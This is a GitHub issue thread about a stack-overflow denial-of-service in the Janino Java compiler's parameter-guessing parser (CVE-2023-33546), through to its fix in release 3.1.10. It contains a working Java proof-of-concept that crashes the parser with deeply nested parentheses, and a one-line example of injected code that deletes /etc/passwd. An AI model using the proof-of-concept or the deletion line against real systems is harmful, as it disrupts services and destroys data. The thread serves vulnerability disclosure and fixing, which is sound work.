Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A Stack overflow error #201

Closed
PoppingSnack opened this issue May 12, 2023 · 14 comments
Closed

A Stack overflow error #201

PoppingSnack opened this issue May 12, 2023 · 14 comments

Comments

@PoppingSnack
Copy link

Description

janino 3.1.9 and earlier are subject to denial of service (DOS) attacks when using the expression evaluator.guess parameter name method. If the parser runs on user-supplied input, an attacker could supply content that causes the parser to crash due to a stack overflow.

Error Log

        at org.codehaus.janino.TokenStreamImpl.produceToken(TokenStreamImpl.java:55)
	at org.codehaus.janino.TokenStreamImpl.peek(TokenStreamImpl.java:94)
	at org.codehaus.janino.TokenStreamImpl.peek(TokenStreamImpl.java:114)
	at org.codehaus.janino.Parser.peek(Parser.java:3781)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3203)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
	at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
	at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
	at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
	at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
	at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
	at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
	at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
	at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
	at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
	at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
	at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
	at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
	at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
	at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
	at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)

Reproducing

// PoC.java
import org.codehaus.commons.compiler.CompileException;
import org.codehaus.janino.ExpressionEvaluator;
import org.codehaus.janino.Scanner;

import java.io.IOException;
import java.io.StringReader;

public class PoC{
    public static void test(String data) {
        try{
            ExpressionEvaluator.guessParameterNames(new Scanner(null, new StringReader(data)));
        }
        catch(IOException | CompileException | AssertionError e){
        }

    }

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        String TOO_DEEP_DOC = _nestedDoc(3000, "( ", ") ", "t");
//        String TOO_DEEP_JSON = NestUtil._nestedDoc(1000, "{ ", "} ", "t");
        test(TOO_DEEP_DOC);
    }
}
@aunkrig
Copy link
Member

aunkrig commented May 15, 2023

Since Janino's parser is a stack-recursive one, deeply nested code structures can always lead to StackOverflowErrors. (Other types of parsers, e.g. token-stack-based ones) would surely be able to parse almost arbitrarily nested code.

Don't know how to handle this. Catching the StackOverflowError and replacing it with a CompileException("Code is too deply nested to parse it") seems risky, because there may be other conditions that cause a StackOverflowError, that should not be handled this way.

We could look at the call stack and verify that it contains mostly org.codehaus.janino.Parser.parse*() frames (as in your example), but that is surely an unsafe bet.

Any proposals?

@aunkrig
Copy link
Member

aunkrig commented May 15, 2023

Also notice that allowing user input as code input for Janino is always an extremely risky operation, because the user is free to do something like

new File("/etc/passwd").delete()

Only "educated" persons, like system administrators should be allowed to write Janino expressions (scripts, class bodies, compilation units).

There exists a "Janino sandbox" that attempts to prevent the worst (such as the previous example), but (A) that janino sandbox does not work with JRE 17+ and (B) it cannot prevent all kinds of attempts, see https://janino-compiler.github.io/janino/#security.

@jacheut
Copy link

jacheut commented Jun 5, 2023

How to solve this problem.

@samueloph
Copy link

CVE-2023-33546 was assigned to this.

Note: I didn't have any involvement in this assignment, I'm just posting here for reference.

@ChewuuHi
Copy link

Is this issue ONLY occurs when using ExpressionEvaluator.guessParameterNames method? Otherwise, it is not affected?

@vdotjansen
Copy link

Would it be an option to set a (default) limit (that can be overridden) to the amount of open brackets you can have at a single time. For example a max of 100 and up a counter every time you hit an open bracket (and stop if the limit is reached) and lower the counter when you hit an end bracket.

@aunkrig
Copy link
Member

aunkrig commented Jun 12, 2023

Difficult, because there are a zillion ways to notate nested structures in Java.

aunkrig added a commit that referenced this issue Jun 15, 2023
Catch StackOverflowError in all relevant API methods 8e.g. "cook()" and "guessParameterNames()") and convert it into a CompileException.
@aunkrig
Copy link
Member

aunkrig commented Jun 15, 2023

Ok, I decided to catch the StackOverflowError in all relevant API methods and convert it to a CompileException indicating that the nesting of the expression/script/class body/compilation unit is too deep.

Please test!

@vtintillier
Copy link

Hello @aunkrig ,

what are your plans to get this released?

Thanks a lot!

@pjfanning
Copy link

CVE-2023-33546 was assigned to this.

Note: I didn't have any involvement in this assignment, I'm just posting here for reference.

This user (PoppingSnack) has been irresponsibly raising issues across a large number of Java JSON tools (including Jackson, a lib that I work on). Most or all of these tools having documented approaches on how to report issues responsibly and this user has ignored them all.

If there is any attempt by this user to claim credit and cash rewards for disclosing vulnerabilities, I hope that the Janino team will not give the user credit due to the irresponsible disclosure.

@aunkrig
Copy link
Member

aunkrig commented Jul 4, 2023

what are your plans to get this released?

As you want it, I will prepare a release ASAP.

@aunkrig
Copy link
Member

aunkrig commented Jul 4, 2023

Release 3.1.10 is out the door. Please test.

@vtintillier
Copy link

Thanks!

@aunkrig
Copy link
Member

aunkrig commented Jul 25, 2023

You're welcome.

@aunkrig aunkrig closed this as completed Jul 25, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

8 participants